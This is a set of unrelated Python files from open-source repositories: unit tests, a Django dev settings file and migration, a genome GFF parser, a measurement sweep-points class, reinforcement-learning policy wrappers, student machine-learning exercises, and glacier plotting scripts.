<gh_stars>0 import datetime import json from unittest import TestCase from mock import MagicMock from manifest.receiver import ManifestReceiver class TestReceiver(TestCase): def setUp(self): self.publish_config = { 'exchange': 'exchange', 'routing_key': 'routing_key', 'retry_policy': {} } self.create_message_body = '''{ "bundleUuid":"bundle-uuid", "versionTimestamp":"2018-03-26T14:27:53.360Z", "messageProtocol": null, "documentId": "5bbc8fc8109b8300069546cf", "documentUuid": "doc-uuid", "callbackLink": "/processes/5bbc8fc8109b8300069546cf", "documentType": "Process", "envelopeId": "submission-id", "envelopeUuid": "submission-uuid", "index": 1278, "total": 1733 }''' self.update_message_body = '''{ "bundleUuid": "bundle-uuid", "versionTimestamp": "2018-03-26T14:27:53.360Z", "callbackLinks": ["/link1", "/link1"], "envelopeId": "5c2dfb101603f500078b28de", "envelopeUuid": "4e474a77-1489-42ef-b0a7-6290c2cfce29", "index": 0, "total": 12, "messageProtocol": null }''' def test_create_manifest_receiver_on_message(self): mock_exporter = MagicMock() mock_exporter.export = MagicMock() # given create_receiver = ManifestReceiver(MagicMock(), MagicMock(), mock_exporter, self.publish_config) version_timestamp = datetime.datetime.strptime( "2018-03-26T14:27:53.360Z", "%Y-%m-%dT%H:%M:%S.%fZ") bundle_version = version_timestamp.strftime("%Y-%m-%dT%H%M%S.%fZ") message = MagicMock(name='message') message.ack = MagicMock() create_receiver.notify_state_tracker = MagicMock() # when create_receiver.on_message(self.create_message_body, message) # then mock_exporter.export.assert_called_with(submission_uuid='submission-uuid', process_uuid='doc-uuid') create_receiver.notify_state_tracker.assert_called_with(json.loads(self.create_message_body)) message.ack.assert_called_once() def test_create_manifest_receiver_on_message_exception(self): # given mock_exporter = MagicMock() mock_exporter.export = MagicMock() version_timestamp = datetime.datetime.strptime( "2018-03-26T14:27:53.360Z", "%Y-%m-%dT%H:%M:%S.%fZ") bundle_version = version_timestamp.strftime("%Y-%m-%dT%H%M%S.%fZ") message = MagicMock(name='message') message.ack = MagicMock() create_receiver = ManifestReceiver(MagicMock(), MagicMock(), mock_exporter, self.publish_config) create_receiver.notify_state_tracker = MagicMock() # when mock_exporter.export.side_effect = Exception('unhandled exception') create_receiver.on_message(self.create_message_body, message) # then mock_exporter.export.assert_called_with(submission_uuid='submission-uuid', process_uuid='doc-uuid') message.ack.assert_called_once() create_receiver.notify_state_tracker.assert_not_called()

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tests/test_airflownetworkdistributioncomponentcoil.py

marcelosalles/pyidf

19

99621

<gh_stars>10-100 import os import tempfile import unittest import logging from pyidf import ValidationLevel import pyidf from pyidf.idf import IDF from pyidf.natural_ventilation_and_duct_leakage import AirflowNetworkDistributionComponentCoil log = logging.getLogger(__name__) class TestAirflowNetworkDistributionComponentCoil(unittest.TestCase): def setUp(self): self.fd, self.path = tempfile.mkstemp() def tearDown(self): os.remove(self.path) def test_create_airflownetworkdistributioncomponentcoil(self): pyidf.validation_level = ValidationLevel.error obj = AirflowNetworkDistributionComponentCoil() # object-list var_coil_name = "object-list|Coil Name" obj.coil_name = var_coil_name # alpha var_coil_object_type = "Coil:Cooling:DX:SingleSpeed" obj.coil_object_type = var_coil_object_type # real var_air_path_length = 0.0001 obj.air_path_length = var_air_path_length # real var_air_path_hydraulic_diameter = 0.0001 obj.air_path_hydraulic_diameter = var_air_path_hydraulic_diameter idf = IDF() idf.add(obj) idf.save(self.path, check=False) with open(self.path, mode='r') as f: for line in f: log.debug(line.strip()) idf2 = IDF(self.path) self.assertEqual(idf2.airflownetworkdistributioncomponentcoils[0].coil_name, var_coil_name) self.assertEqual(idf2.airflownetworkdistributioncomponentcoils[0].coil_object_type, var_coil_object_type) self.assertAlmostEqual(idf2.airflownetworkdistributioncomponentcoils[0].air_path_length, var_air_path_length) self.assertAlmostEqual(idf2.airflownetworkdistributioncomponentcoils[0].air_path_hydraulic_diameter, var_air_path_hydraulic_diameter)

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pycqed/measurement/sweep_points.py

nnlacroix/PycQED_py3

0

199200

<gh_stars>0 import logging log = logging.getLogger(__name__) from collections import OrderedDict from copy import deepcopy import numpy as np from numpy import array # Needed for eval. Do not remove. class SweepPoints(list): """ This class is used to create sweep points for any measurement. The SweepPoints object is a list of dictionaries of the form: [ # 1st sweep dimension {param_name0: (values, unit, label), param_name1: (values, unit, label), ... param_nameN: (values, unit, label)}, # 2nd sweep dimension {param_name0: (values, unit, label), param_name1: (values, unit, label), ... param_nameN: (values, unit, label)}, . . . # D-th sweep dimension {param_name0: (values, unit, label), param_name1: (values, unit, label), ... param_nameN: (values, unit, label)}, ] Example how to use this class to create a 2D sweep for 3 qubits, where the first (hard) sweep is over amplitudes and the : sp = SweepPoints() for qb in ['qb1', 'qb2', 'qb3']: sp.add_sweep_parameter(f'lengths_{qb}', np.linspace(10e-9, 1e-6, 80), 's', 'Pulse length, $L$') sp.add_sweep_dimension() for qb in ['qb1', 'qb2', 'qb3']: sp.add_sweep_parameter(f'amps_{qb}', np.linspace(0, 1, 20), 'V', 'Pulse amplitude, $A$') """ def __init__(self, param=None, values=None, unit='', label=None, dimension=-1, min_length=0): """ Create a SweepPoints instance. :param param: list of dicts, repr of SweepPoints instance, or name of a sweep parameter :param values: list or array of numeric values of the sweep parameter specified by param :param unit: string specifying the unit of the sweep parameter specified by param :param label: str specifying the (latex style) label/name of the sweep parameter specified by param :param dimension: sweep dimension where sweep parameter param should be added :param min_length: minimum number of sweep dimensions to create """ super().__init__() if isinstance(param, list): self.add_dict_list(param) elif isinstance(param, str): if values is not None: self.add_sweep_parameter(param, values, unit, label, dimension) else: self.add_dict_list(eval(param)) while len(self) < min_length: self.add_sweep_dimension() def __getitem__(self, i): """ Overloading of List.__getitem__ to ensure type SweepPoints is preserved. :param i: element or slice :return: element or new SweepPoints instance """ if isinstance(i, str): new_data = self.get_sweep_params_property('values', 'all', i) else: new_data = super().__getitem__(i) if isinstance(i, slice): new_data = self.__class__(new_data) return new_data def add_dict_list(self, dict_list): """ Append the dicts in dict_list to self. :param dict_list: list of dictionaries in the format of this class, or in the legacy format {param_name: {'values': ..., 'unit': ..., 'label': ...}} """ for d in deepcopy(dict_list): if len(d) == 0 or isinstance(list(d.values())[0], tuple): # assume that dicts have the same format as this class self.append(d) else: # import from a list of sweep dicts in the old format self.append({k: (v['values'], v.get('unit', ''), v.get('label', k)) for k, v in d.items()}) def add_sweep_parameter(self, param_name, values, unit='', label=None, dimension=-1): """ Adds sweep points to a given dimension. :param param_name: (str) parameter name :param values: (list or numpy array) sweep values :param unit: (optional str) unit of the values (default: '') :param label: (optional str) label e.g. for plots (default: param_name) :dim: the dimension to which the point should be added (default: last dimension) """ if label is None: label = param_name assert self.find_parameter(param_name) is None, \ f'A sweep parameter with name "{param_name}" already exists.' while len(self) == 0 or (dimension >= 0 and dimension >= len(self)): self.add_sweep_dimension() assert self.length(dimension) in [0, len(values)], \ 'Number of values has to match the length of existing sweep ' \ 'points.' self[dimension].update({param_name: (values, unit, label)}) def add_sweep_dimension(self): self.append(dict()) def get_sweep_dimension(self, dimension='all', pop=False): """ Returns the sweep dict of the sweep dimension specified by dimension. :param dimension: int specifying a sweep dimension or the string 'all' :param pop: bool specifying whether to pop (True) or get(False) the sweep dimension. :return: self if dimension == 'all', else self[dimension] """ if dimension == 'all': if pop: to_return = deepcopy(self) self.clear() return to_return else: return self else: if len(self) < dimension: raise ValueError(f'Dimension {dimension} not found.') to_return = self[dimension] if pop: self[dimension] = {} return to_return def get_sweep_params_description(self, param_names, dimension='all', pop=False): """ Get the sweep tuples for the sweep parameters param_names if they are found in the sweep dimension dict specified by dimension. :param param_names: string or list of strings corresponding to keys in the dictionaries in self. Can also be 'all' :param dimension: 'all' or int specifying a sweep dimension :param pop: bool specifying whether to pop (True) or get(False) the sweep parameters. :return: If the param_names are found in self or self[dimension]: if param_names == 'all': list with all the sweep tuples in the sweep dimension dict specified by dimension. if param_names is string: string with the sweep tuples of each param_names in the sweep dimension dict specified by dimension. if param_names is list: list with the sweep tuples of each param_names in the sweep dimension dict specified by dimension. if param_names is None: string corresponding to the first sweep parameter in the sweep dimension dict If none of param_names are found, raises KeyError. """ sweep_points_dim = self.get_sweep_dimension( dimension, pop=pop and param_names == 'all') is_list = True if param_names != 'all' and not isinstance(param_names, list): param_names = [param_names] is_list = False sweep_param_values = [] if isinstance(sweep_points_dim, list): for sweep_dim_dict in sweep_points_dim: if param_names == 'all': sweep_param_values += list(sweep_dim_dict.values()) else: for pn in param_names: if pn in sweep_dim_dict: sweep_param_values += [sweep_dim_dict.pop(pn) if pop else sweep_dim_dict[pn]] else: # it is a dict if param_names == 'all': sweep_param_values += list(sweep_points_dim.values()) else: for pn in param_names: if pn in sweep_points_dim: sweep_param_values += [sweep_points_dim.pop(pn) if pop else sweep_points_dim[pn]] if len(sweep_param_values) == 0: s = "sweep points" if dimension == "all" else f'sweep dimension ' \ f'{dimension}' raise KeyError(f'{param_names} not found in {s}.') if is_list: return sweep_param_values else: return sweep_param_values[0] def get_sweep_params_property(self, property, dimension='all', param_names=None): """ Get a property of the sweep parameters param_names in self. :param property: str with the name of a sweep param property. Can be "values", "unit", "label." :param dimension: 'all' or int specifying a sweep dimension (default 'all') :param param_names: None, or string or list of strings corresponding to keys in the sweep dimension specified by dimension. Can also be 'all' :return: if param_names == 'all': list with the property of all param_names in the sweep dimension dict specified by dimension. if param_names is string: the property of the sweep parameter specified in param_names in the sweep dimension dict specified by dimension. if param_names is list: list with the property of each param_names in the sweep dimension dict specified by dimension. if param_names is None: property corresponding to the first sweep parameter in the sweep dimension dict """ properties_dict = {'values': 0, 'unit': 1, 'label': 2} sweep_points_dim = self.get_sweep_dimension(dimension) if param_names is None: if isinstance(sweep_points_dim, list): for sweep_dim_dict in sweep_points_dim: if len(sweep_dim_dict) == 0: return [] if property == 'values' else '' else: return next(iter(sweep_dim_dict.values()))[ properties_dict[property]] else: if len(sweep_points_dim) == 0: return [] if property == 'values' else '' else: return next(iter(sweep_points_dim.values()))[ properties_dict[property]] elif param_names == 'all' or isinstance(param_names, list): return [pnd[properties_dict[property]] for pnd in self.get_sweep_params_description(param_names, dimension)] else: return self.get_sweep_params_description( param_names, dimension)[properties_dict[property]] def get_meas_obj_sweep_points_map(self, measurement_objects): """ Constructs the measurement-objects-sweep-points map as the dict {mobj_name: [sweep_param_name_0, ..., sweep_param_name_n]} If a sweep dimension has only one sweep parameter name (dict with only one key), then it assumes all mobjs use that sweep parameter name. If the sweep dimension has more than one sweep parameter name (dict with several keys), then: - first tries to add to the list for each mobj only those sweep param names that contain the mobj_name. - If it can't find the mobj_name in the sweep param name, assumes there is only one param per mobj in each sweep dimension, and that the order of params in each sweep dimension corresponds to the order of keys in keys_list. I.e. key_i in sweep_points[0] contains the sweep information for measured_objects[i]. :param measured_objects: list of strings to be used as keys in the returned dictionary. These are the measured object names :return: dict of the form {mobj_name: [sweep_param_name_0, ..., sweep_param_name_n]} """ if not isinstance(measurement_objects, list): measurement_objects = [measurement_objects] for i, mobj in enumerate(measurement_objects): if hasattr(mobj, 'name'): measurement_objects[i] = mobj.name sweep_points_map = OrderedDict() for i, mobjn in enumerate(measurement_objects): sweep_points_map[mobjn] = [] for dim, d in enumerate(self): if len(d) == 1: # assume all mobjs use the same param_name sweep_points_map[mobjn] += [next(iter(d))] elif mobjn in list(d)[i]: sweep_points_map[mobjn] += [list(d)[i]] else: if len(d) != len(measurement_objects): raise ValueError( f'{len(measurement_objects)} measurement objects ' f'were given but there are {len(d)} ' f'sweep parameters in dimension {dim}.') sweep_points_map[mobjn] += [list(d)[i]] return sweep_points_map def length(self, dimension='all'): """ Returns the number of sweep points in a given sweep dimension (after a sanity checking). :param dimension: ('all' or int) sweep dimension (default: 'all'). :return: (int) number of sweep points in the given dimension """ if dimension == 'all': return [self.length(d) for d in range(len(self))] if len(self) == 0 or (dimension >= 0 and dimension >= len(self)): return 0 n = 0 for p in self[dimension].values(): if n == 0: n = len(p[0]) elif n != len(p[0]): raise ValueError('The lengths of the sweep points are not ' 'consistent.') return n def update(self, sweep_points): """ Updates the sweep dictionaries of all dimensions with the sweep dictionaries passed as sweep_points. Non-exisiting parameters and required additional dimensions are added if needed. :param sweep_points: (SweepPoints) a SweepPoints object containing the sweep points to be updated. :return: """ while len(self) < len(sweep_points): self.add_sweep_dimension() for d, u in zip(self, sweep_points): d.update(u) def find_parameter(self, param_name): """ Returns the index of the first dimension in which a given sweep parameter is found. :param param_name: (str) name of the sweep parameter :return: (int or None) the index of the first dimension in which the parameter if found or None if no parameter with the given name exists. """ for dim in range(len(self)): if param_name in self[dim]: return dim return None def subset(self, i, dimension=0): """ Returns a new SweepPoints object with one of the dimensions reduced to a subset of the sweep values. The other dimensions are unchanged. :param i: (list) indices of the sweep values that should be contained in the subset. :param dimension: (int, default 0) index of the dimension that should be reduced """ sp = SweepPoints(self) for k, v in sp[dimension].items(): sp[dimension][k] = (np.array(v[0])[i], v[1], v[2]) return sp def remove_sweep_parameter(self, param_name): """ Removes a the sweep parameter with a given name from the SweepPoints object. If the parameter is not found, a warning is issued. :param param_name: (str) name of the sweep parameter to remove """ dim = self.find_parameter(param_name) if dim is None: log.warning(f"remove_sweep_parameter: Sweep parameter " f"{param_name} not found.") else: del self[dim][param_name]

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bloodbank_rl/tianshou_utils/policies.py

joefarrington/bloodbank_rl

0

48860

<filename>bloodbank_rl/tianshou_utils/policies.py from tianshou.policy import A2CPolicy, PPOPolicy from typing import Any, Dict, List, Optional, Type from tianshou.data import Batch # Normal key structure for output doesn't work with MLFlow logging nicely # loss used as a key and also parent class A2CPolicyforMLFlow(A2CPolicy): def learn( self, batch: Batch, batch_size: int, repeat: int, **kwargs: Any ) -> Dict[str, List[float]]: loss_dict = super().learn(batch, batch_size, repeat, **kwargs) output_loss_dict = {} output_loss_dict["loss"] = loss_dict["loss"] output_loss_dict["loss_component/actor"] = loss_dict["loss/actor"] output_loss_dict["loss_component/vf"] = loss_dict["loss/vf"] output_loss_dict["loss_component/ent"] = loss_dict["loss/ent"] return output_loss_dict class PPOPolicyforMLFlow(PPOPolicy): def learn( self, batch: Batch, batch_size: int, repeat: int, **kwargs: Any ) -> Dict[str, List[float]]: loss_dict = super().learn(batch, batch_size, repeat, **kwargs) output_loss_dict = {} output_loss_dict["loss"] = loss_dict["loss"] output_loss_dict["loss_component/clip"] = loss_dict["loss/clip"] output_loss_dict["loss_component/vf"] = loss_dict["loss/vf"] output_loss_dict["loss_component/ent"] = loss_dict["loss/ent"] return output_loss_dict

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terracommon/project/settings/dev.py

Terralego/terra-back

4

47220

# -*- coding: utf-8 -*- import logging import os from django.utils import six from .base import * # noqa SECRET_KEY = 'dev-<KEY>' ALLOWED_HOSTS = [] DEBUG = True EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' INTERNAL_IPS = ('127.0.0.1',) # Used by app debug_toolbar # Add the Python core NullHandler to be available when needed LOGGING['handlers']['null'] = { # noqa 'level': logging.NOTSET, 'class': 'logging.NullHandler', } # Force every loggers to use console handler only. Note that using 'root' # logger is not enough if children don't propage. for logger in six.itervalues(LOGGING['loggers']): # noqa logger['handlers'] = ['console'] # Log every level. LOGGING['handlers']['console']['level'] = logging.NOTSET # noqa CORS_ORIGIN_ALLOW_ALL = True try: from .local import * # noqa except ImportError: pass

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tests/integration/suites/sensitive/update.py

bularcasergiu/Anjay

0

27860

# -*- coding: utf-8 -*- # # Copyright 2017-2020 AVSystem <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import socket from framework.lwm2m.coap.server import SecurityMode from framework.lwm2m_test import * from framework import test_suite class ReconnectBootstrapTest(test_suite.Lwm2mSingleServerTest): def setUp(self): self.setup_demo_with_servers(servers=0, bootstrap_server=True) def runTest(self): self.bootstrap_server.set_timeout(timeout_s=1) pkt = self.bootstrap_server.recv() self.assertMsgEqual(Lwm2mRequestBootstrap(endpoint_name=DEMO_ENDPOINT_NAME), pkt) self.bootstrap_server.send(Lwm2mChanged.matching(pkt)()) original_remote_addr = self.bootstrap_server.get_remote_addr() # reconnect self.communicate('reconnect') self.bootstrap_server.reset() pkt = self.bootstrap_server.recv() # should retain remote port after reconnecting self.assertEqual(original_remote_addr, self.bootstrap_server.get_remote_addr()) self.assertMsgEqual(Lwm2mRequestBootstrap(endpoint_name=DEMO_ENDPOINT_NAME), pkt) self.bootstrap_server.send(Lwm2mChanged.matching(pkt)()) demo_port = self.get_demo_port() self.assertEqual(self.bootstrap_server.get_remote_addr()[1], demo_port) # send Bootstrap Finish req = Lwm2mBootstrapFinish() self.bootstrap_server.send(req) self.assertMsgEqual(Lwm2mChanged.matching(req)(), self.bootstrap_server.recv()) # reconnect once again self.communicate('reconnect') # now there should be no Bootstrap Request with self.assertRaises(socket.timeout): print(self.bootstrap_server.recv(timeout_s=3)) # should retain remote port after reconnecting new_demo_port = self.get_demo_port() self.assertEqual(demo_port, new_demo_port) self.bootstrap_server.connect_to_client(('127.0.0.1', new_demo_port)) # DELETE /33605, essentially a no-op to check connectivity req = Lwm2mDelete(Lwm2mPath('/%d' % (OID.Test,))) self.bootstrap_server.send(req) self.assertMsgEqual(Lwm2mDeleted.matching(req)(), self.bootstrap_server.recv())

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code/BacDup/scripts/gff_parser.py

JFsanchezherrero/TFM_UOC_AMoya

2

12321

<reponame>JFsanchezherrero/TFM_UOC_AMoya #!/usr/bin/env python3 ############################################################## ## <NAME> & <NAME> ## ## Copyright (C) 2020-2021 ## ############################################################## ''' Created on 28 oct. 2020 @author: alba Modified in March 2021 @author: <NAME> ''' ## useful imports import sys import os import pandas as pd import numpy as np import HCGB from Bio import SeqIO, Seq from Bio.SeqRecord import SeqRecord from BCBio import GFF from BacDup.scripts.functions import columns_annot_table ################################################## def gff_parser_caller(gff_file, ref_file, output_path, debug): '''This function calls the actual gff parser It serves as the entry point either from a module or system call ''' ## set output paths prot_file = os.path.abspath( os.path.join(output_path, 'proteins.fa')) csv_file = os.path.abspath( os.path.join(output_path, 'annot_df.csv')) csv_length = os.path.abspath( os.path.join(output_path, 'length_df.csv')) list_out_files = [prot_file, csv_file, csv_length] try: with open (ref_file) as in_handle: ref_recs = SeqIO.to_dict(SeqIO.parse(in_handle, "fasta")) ## debug messages if (debug): debug_message('GenBank record', 'yellow') print (ref_recs) ## parse with open(prot_file, "w") as out_handle: SeqIO.write(protein_recs(gff_file, ref_recs, list_out_files, debug=debug), out_handle, "fasta") ## return information return (list_out_files) except: return (False) ############################################################ def protein_recs(gff_file, ref_recs, list_out_files, debug=False): '''GFF parser to retrieve proteins and annotation ''' #create an empty dataframe. columns = columns_annot_table() ## get common column names annot_df = pd.DataFrame(data=None, columns=columns) genome_length = pd.DataFrame(data=None, columns=["length"]) with open(gff_file) as in_handle: ##parse the output. Generate SeqRecord and SeqFeatures for predictions ##sort by CDS type. Duplicate genes analysis just needs coding regions to proteins. limit_info = dict(gff_type=["CDS"]) for rec in GFF.parse(in_handle, limit_info = limit_info, base_dict=ref_recs): #get genome length for BioCircos plotting ID = rec.id genome_length.loc[ID,["length"]]=[len(rec.seq)] ## debug messages if (debug): debug_message('GFF record', 'yellow') print(rec) for feature in rec.features: ## Debug messages if (debug): debug_message('feature: ', 'yellow') print(feature) ## strand if feature.strand == -1: strand = "neg" else: strand = "pos" #we create an ID for each entry protID = feature.type + "_" + rec.id + "_" + str(feature.location.nofuzzy_start) + "_" + str(feature.location.nofuzzy_end) + "_" + strand annot_df.loc[protID, ["rec_id", "type", "start", "end", "strand"]] = [ID, feature.type, feature.location.nofuzzy_start, feature.location.nofuzzy_end, strand] qualif = feature.qualifiers ## Debug messages if (debug): debug_message('protID: ' + protID, 'yellow') debug_message('qualif: ', 'yellow') print (qualif) ## loop for keys, values in qualif.items(): #fill the dataframe info if keys == "Note": continue annot_df.loc[protID,[keys]] = [values[0]] ## get gene sequence gene_seq = Seq.Seq(str(rec.seq[feature.location.nofuzzy_start:feature.location.nofuzzy_end])) ## Debug messages if (debug): debug_message('gene_seq: ' + protID, 'yellow') print (gene_seq) if feature.type == "CDS": if feature.strand == -1: gene_seq = gene_seq.reverse_complement() # translate genome sequence table_code = feature.qualifiers["transl_table"][0] protein_seq = gene_seq.translate(table=table_code, to_stop=False) # delete STOP symbols # we set gene_seq.translate to include all stop codons to include # stop codons in pseudogenes. then, we removed last symbol * for # each sequence if protein_seq.endswith("*"): protein_seq = protein_seq[:-1] yield(SeqRecord(protein_seq, protID, "", "")) ## print additional information annot_df.to_csv(list_out_files[1], header=True) genome_length.to_csv(list_out_files[2], header=True) #get genome length for BioCircos plotting #genome_length = pd.DataFrame(data=None, columns=["length"]) #ID = rec.id #length = len(rec.seq) #genome_length.loc[ID,["length"]]=[length] #csv_length = "%s/%s_length.csv" % (output_path, rec.id) #genome_length.to_csv(csv_length, header=True) ## debug messages if (debug): debug_message('annot_df: ', 'yellow') print(annot_df) ## empty return return() ################################################################# def main (gff_file, ref_file, output_folder, debug=False): #get name base, ext = os.path.splitext(gff_file) gff_file = os.path.abspath(gff_file) #create folder output_path = HCGB.functions.file_functions.create_folder(output_path) if (debug): print ("## DEBUG:") print ("base:" , base) print ("ext:" , ext) print () gff_parser_caller(gff_file, ref_file, output_path, debug) ################################################################################ if __name__ == "__main__": if len(sys.argv) != 4: print (__doc__) print ("## Usage gff_parser") print ("python %s gff_file ref_fasta_file output_folder\n" %sys.argv[0]) sys.exit() main(*sys.argv[1:], debug=True) #main(*sys.argv[1:]) # la variable debug no es obligatoria. tiene un "por defecto definido" # Se utiliza el "=" para indicar el default.

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pythonG/objects.py

ezan2000/Cssi_2018

0

9461

ezan = { 'name': 'ezan', 'age': 18, 'hair': 'brown', 'cool': True , } print(ezan) class Person(object): #use class to make object def __init__( self, name, age ,hair, color, hungry) : #initialize #first object inside of a class is self self.name = 'ezan' self.age = 18 self.hair = 'brown' self.cool = True def eat(self,food): print("EAT {f}".format(f = food)) self.hungry = food def play(self, game): print("Play {p}".format(p = game)) self.play = game def birth(self,person): kids = Person(name = " lail", age = 18, hair = 'black', color = 'blue', hungry = True) ezan = Person( name = "ezan", age = 18, hair = "black", cool = True, hungry = False) print(ezan.name) print('I am hungry') Austin = Person(name = 'austin', age = 18, hair = "Shrek", cool = False, hungry = True)

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machine-learning-ex1/ex1/gradientDescent.py

xu1718191411/coursera-ml-py

0

87486

<gh_stars>0 import numpy as np from computeCost import * def gradient_descent(X, y, theta, alpha, num_iters): # Initialize some useful values m = y.size J_history = np.zeros(num_iters) for i in range(0, num_iters): # ===================== Your Code Here ===================== # Instructions : Perform a single gradient step on the parameter vector theta # # Hint: X.shape = (97, 2), y.shape = (97, ), theta.shape = (2, ) m = np.dot(X, theta) k = m - y k = np.reshape(k,[-1,1]) ss = k * X jj = np.sum(ss,axis=0) gradient = jj / X.shape[0] theta = theta - alpha * gradient # =========================================================== # Save the cost every iteration J_history[i] = compute_cost(X, y, theta) return theta, J_history def gradient_descent_multi(X, y, theta, alpha, num_iters): # Initialize some useful values m = y.size J_history = np.zeros(num_iters) for i in range(0, num_iters): # ===================== Your Code Here ===================== # Instructions : Perform a single gradient step on the parameter vector theta s1 = np.dot(X,theta) - y s1 = np.reshape(s1,(-1,1)) s2 = s1 * X s3 = np.sum(s2,axis=0) s4 = s3 / m theta = theta - alpha * s4 # =========================================================== # Save the cost every iteration J_history[i] = compute_cost(X, y, theta) return theta, J_history

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exercises/chapter02/exc_02_02.py

deep-diver/fastai-course

0

155441

from fastai.vision.all import * url = "https://github.com/deep-diver/fastai-course/raw/master/data/oxford-iiit-pet-tiny.tar.gz" image_list = get_image_files(untar_data(url)/"images").sorted() filename1 = image_list[0].name filename2 = image_list[3].name print(f"{filename1}, {filename2}") def label_func(f): return ___ label1 = label_func(filename1) label2 = label_func(filename2) print(f"{label1}, {label2}")

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zipper_config.py

tormak/zipper-swapper

0

124911

import json import errno config = { 'first_file_filesize' : '1024', 'second_file_filesize' : '128' } def write_config(): with open('config.json', 'w') as config_file: json.dump(config, config_file) def read_config(): try: config_file = open('config.json', 'r') config = json.load(config_file) except Exception as error: if errno.ENOENT == error.errno: #config file doesn't exist, create one with defaults write_config()

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dapricot/auth/migrations/0002_auto_20190602_1858.py

softapr/django_apricot

0

55235

# Generated by Django 2.2.1 on 2019-06-02 18:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('daauth', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='permissionsmixin', options={}, ), migrations.AlterModelOptions( name='user', options={}, ), migrations.AddField( model_name='user', name='username', field=models.CharField(default='', max_length=30, unique=True, verbose_name='username'), preserve_default=False, ), migrations.AlterField( model_name='user', name='avatar', field=models.ImageField(blank=True, null=True, upload_to='dapricot/avatars/'), ), ]

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combine2d/sandbox/quick_n_dirty_eval/extract_all_final_surface_differences_and_perturbations.py

phigre/cobi

4

132153

<gh_stars>1-10 import numpy as np import matplotlib.pyplot as plt import glob import os from combine2d.core.data_logging import load_pickle from combine2d.core.visualization import MidpointNormalize, plot_glacier_contours from combine2d.sandbox.quick_n_dirty_eval import experiment_naming_engine from oggm import cfg cfg.initialize() basedir = '/home/philipp/thesis/' filepaths = glob.glob(os.path.join(basedir, '*/*/*/data_logger.pkl')) plot_dir = '/home/philipp/plots/inv_surf_differences/' def plot_final_surface_difference(data_logger, filepath, title, cbar_min=None, cbar_max=None, ice_mask=None): return plot_surface_difference(data_logger.surfs[-1] - data_logger.ref_surf, filepath, title, cbar_min, cbar_max) def plot_surface_difference(surface_difference, filepath, title, cbar_min=None, cbar_max=None, ice_mask=None): if cbar_min is None: cbar_min = surface_difference.min() if cbar_max is None: cbar_max = surface_difference.max() fig, ax = plt.subplots() im_b = ax.imshow(surface_difference, cmap='RdBu_r', norm=MidpointNormalize(midpoint=0., vmin=cbar_min, vmax=cbar_max)) cbar = fig.colorbar(im_b) cbar.set_label('$\Delta$surface height (m)') ax.set_title(title) if ice_mask is not None: plot_glacier_contours(ax, ice_mask, linestyles='dashed', linewidths=[0.75]) plt.savefig(filepath) plt.clf() for path in filepaths: idir, temp = os.path.split(path) gdir, exp = os.path.split(idir) temp, case = os.path.split(gdir) dl = load_pickle(path) exp_name = experiment_naming_engine.get_experiment_name(exp) if exp_name is not None: #if os.path.exists() cbar_min = None cbar_max = None surf_err = dl.surfs[-1] - dl.ref_surf cbar_min = surf_err.min() cbar_max = surf_err.max() ice_mask = np.load(os.path.join(gdir, 'ref_ice_mask.npy')) if os.path.exists(os.path.join(idir, 'dem_noise.npy')): dem_noise = np.load(os.path.join(idir, 'dem_noise.npy')) cbar_min = min(cbar_min, dem_noise.min()) cbar_max = max(cbar_max, dem_noise.max()) title = 'Surface perturbations case {:s}\nexperiment {:s}'.format( case, exp_name) plotpath = os.path.join(plot_dir, '{:s}_{:s}_surface_perturbations' '.png'.format(case,exp_name)) plot_surface_difference(dem_noise, plotpath, title, cbar_min, cbar_max, ice_mask=ice_mask) title = 'Surface errors case {:s}\nexperiment {:s}'.format(case, exp_name) plotpath = os.path.join(plot_dir, '{:s}_{:s}_surface_error.png'.format(case, exp_name)) plot_surface_difference(surf_err, plotpath, title, cbar_min, cbar_max, ice_mask=ice_mask)

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